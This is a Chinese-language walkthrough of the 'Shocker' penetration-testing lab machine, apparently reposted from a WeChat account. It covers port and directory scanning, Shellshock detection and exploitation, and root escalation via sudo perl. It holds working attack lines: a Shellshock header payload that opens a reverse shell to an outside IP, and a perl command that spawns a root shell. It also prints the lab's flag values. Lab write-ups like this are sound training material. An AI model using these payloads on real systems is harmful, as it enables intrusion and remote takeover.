目录
•思路概述:[1]•信息收集[2]
•端口扫描[3]•目录扫描[4]
•漏洞探测[5]
•web服务[6]•shellshock[7]
•漏洞利用条件[8]
•检测shellshock[9]
•提权[10]
•提权信息收集[11]
•知识补充[12]
•Cgi-bin[13]
思路概述:
1、通过nmap进行端口扫描发现开放了web和ssh服务
2、对web服务进行探测→利用dirsearch和gobuster进行目录扫描→探测到/cgi-bin目录下存在sh脚本
3、通过shellshock获取初级shell
4、通过sudo -l 发现可以root执行perl命令→利用GTFOBins查询提权方法→获取root权限
信息收集
端口扫描
sudo nmap -sS -A -sC -sV -p- --min-rate 5000 10.129.18.196
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4f8ade8f80477decf150d630a187e49 (RSA)
| 256 228fb197bf0f1708fc7e2c8fe9773a48 (ECDSA)
|_ 256 e6ac27a3b5a9f1123c34a55d5beb3de9 (ED25519)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=3/7%OT=80%CT=1%CU=30078%PV=Y%DS=2%DC=T%G=Y%TM=6406C5CA
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10A%TI=Z%CI=I%TS=8)SEQ(SP=10
OS:7%GCD=1%ISR=10A%TI=Z%II=I%TS=8)SEQ(SP=107%GCD=1%ISR=10A%TI=Z%CI=I%II=I%T
OS:S=8)OPS(O1=M53AST11NW6%O2=M53AST11NW6%O3=M53ANNT11NW6%O4=M53AST11NW6%O5=
OS:M53AST11NW6%O6=M53AST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7
OS:120)ECN(R=Y%DF=Y%T=40%W=7210%O=M53ANNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A
OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%
OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=
OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=
OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
OS:T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
这里可以基本看到开启了80端口和2222的ssh服务。
目录扫描
根据开放端口。我们对web服务进行目录扫描
python3 dirsearch.py -u http://10.129.18.196/
居然什么都扫不到。麻了。
换个工具继续扫。使用gobuster
gobuster dir -u http://10.129.18.196/ -w /usr/share/wordlists/dirb/small.txt -o gobuster
===============================================================
/cgi-bin/ (Status: 403) [Size: 296]
Progress: 959 / 960 (99.90%)
===============================================================
那么我们继续对这个cgi-bin扫描
gobuster dir -u http://10.129.18.196/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -x sh,pl,cgi -o cgi-bin
解读一下该命令
首先是使用了gobuster的dir目录扫描模式,然后后面-u是url。-w是字典。-x是后缀。
这个字典里面有960项。那么会进行四种后缀的探测。最终生成3840个待探测项。
===============================================================
/user.sh (Status: 200) [Size: 119]
Progress: 3836 / 3840 (99.90%)
===============================================================
可以看到这里有个user.sh
漏洞探测
web服务
这里user.sh的内容如下。
抓包看一下。这里存在时间。那么考虑是否我们的时间头会被注入。
我以为这里是可以通过给请求包加Date头进行注入。原来是我的知识盲区。
当我们进行uptime命令时,会输出一模一样的东西。
也就是这个脚本应该是执行了一个uptime命令。
shellshock
Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。
漏洞利用条件
1、首先是Unix、linux等系统下的bash版本必须小于等于4.1版本;
2、可以猜出/cgi-bin/下目录的文件;例如:/cgi-bin/test-cgi、/cgi-bin/test.sh、/cgi-bin/test.py、/cgi-bin/test.perl等等;
3、/cgi-bin/下的脚本文件通过系统环境变量调用bash的环境;
通过客户端request请求进行header头传参(用户想执行的代码),检验执行的效果: 注意:在header头的任何位置添加你想执行的脚本都可以,不一定非得是User-Agent
检测shellshock
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'which nc'" http://10.129.18.196/cgi-bin/user.sh
这里也就有我们的破壳漏洞了。那么我们可以通过RCE得到一个初级的shell。
curl -H "user-agent: () { :; };/bin/bash -i >& /dev/tcp/10.10.16.10/1113 0>&1" http://10.129.18.196/cgi-bin/user.sh
提权
cat /home/shelly/user.txt
70919313a4027a41461d432707dfe83a
提权信息收集
sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl
可以看到我们这里可以以root执行perl
sudo /usr/bin/perl -e 'exec "/bin/sh";'
cat /root/root.txt
fe7680bc9881118ff06b77ab5b5e4e73
知识补充
Cgi-bin
CGI-BIN是一种特殊的目录,在进行交互式的WWW访问(如填写在线表格)时,需要服务器上有 相应的程序对访问者输入的信息进行处理,这些程序就是CGI程序。
References
[1]
思路概述:: #思路概述[2]
信息收集: #信息收集[3]
端口扫描: #端口扫描[4]
目录扫描: #目录扫描[5]
漏洞探测: #漏洞探测[6]
web服务: #web服务[7]
shellshock: #shellshock[8]
漏洞利用条件: #漏洞利用条件[9]
检测shellshock: #检测shellshock[10]
提权: #提权[11]
提权信息收集: #提权信息收集[12]
知识补充: #知识补充[13]
Cgi-bin: #Cgi-bin
原文始发于微信公众号(靶机狂魔):靶机—— Shocker
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论